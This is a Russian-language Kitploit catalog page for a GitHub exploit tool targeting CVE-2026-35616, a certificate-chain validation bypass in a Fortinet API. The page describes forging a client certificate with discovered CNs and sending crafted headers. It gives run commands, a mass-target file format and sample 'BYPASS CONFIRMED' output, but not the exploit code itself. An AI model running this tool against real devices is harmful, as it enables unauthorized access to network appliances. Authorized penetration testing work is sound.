Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

ЛентыКонтактыКонфиденциальность© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2026-35616 — Эксплойт-скрипт для CVE-2026-35616, который обходит проверку цепочки сертификатов в Fortinet API путём обнаружения действительных CN, генерации поддельного клиентского сертификата и проверки защищённых конечных точек с помощью пользовательских заголовков. | Kitploit
Инструменты/GitHubGitHub/wa6n3r/cve-2026-35616
Анализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеБезопасность API
GitHubwa6n3r/cve-2026-35616

CVE-2026-35616

Эксплойт-скрипт для CVE-2026-35616, который обходит проверку цепочки сертификатов в Fortinet API путём обнаружения действительных CN, генерации поддельного клиентского сертификата и проверки защищённых конечных точек с помощью пользовательских заголовков.

Репозиторий
12155 месяцев назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

CVE-2026-35616

Author: wa6n3r | GitHub | Web

Описание

Эксплуатация уязвимости обхода проверки цепочки сертификатов в API Fortinet. Скрипт автоматически обнаруживает допустимые Common Name (CN) из различных источников, генерирует поддельный клиентский сертификат и выполняет запросы к защищённым эндпоинтам с использованием заголовков X-SSL-CLIENT-VERIFY и X-SSL-CLIENT-CERT.

!!!Важно: Используйте только на системах, на которые у вас есть явное разрешение на тестирование.

Требования

  • Python 3.8+
  • Зависимости:
    • requests
    • cryptography
    • urllib3
  • Опционально: openssl (для расширенного обнаружения CA через TLS handshake)

Установка

# Клонирование проекта
git clone https://github.com/wa6n3r/CVE-2026-35616
cd CVE-2026-35616

# Установка зависимостей
pip install -r requirements.txt

## Использование
# Базовый запуск
python3 exploit.py

# С указанием цели и порта
python3 exploit.py <TARGET_IP> [PORT]

# Примеры:
python3 exploit.py 192.168.1.100
python3 exploit.py 10.0.0.50 8443

# Формат файла целей (targets.txt)
При массовом тестировании создайте файл targets.txt с одним целевым адресом на строку:
192.168.1.100:443
10.0.0.50:8443
fortigate.internal

# Выходные файлы
При успешном выполнении скрипт создаёт:
results/bypass_results_<TARGET>_<PORT>_<TIMESTAMP>.json — детальный отчёт в формате JSON с:
Использованным CN
Статусами ответов по каждому эндпоинту
Префиксами ответов для анализа

# Структура вывода
[ wa6n3r ]  ◆  GH: github.com/wa6n3r  ◆  WEB: wa6n3r.com

[*] CVE-2026-35616 Target: https://192.168.1.100:443

[*] Discovering CA CNs from multiple sources...
  [•] TLS CA CN: 'fortinet-ca2'
  [•] ZTNA CA CN: 'support'
[*] Found 2 candidate CN(s): fortinet-ca2, support

[*] Testing 2 candidate CN(s) for bypass...
  [+] CN='support' | HTTP 200 | retval=1 | BYPASS CONFIRMED

[*] Probing all cert_chain endpoints with CN='support'...

  GET   /api/v1/system/capabilities

        HTTP 200: '{"result": {"retval": 1, ...}}'

  [+] Results saved to: results/bypass_results_192.168.1.100_443_20260101_120000.json
Скачать инструмент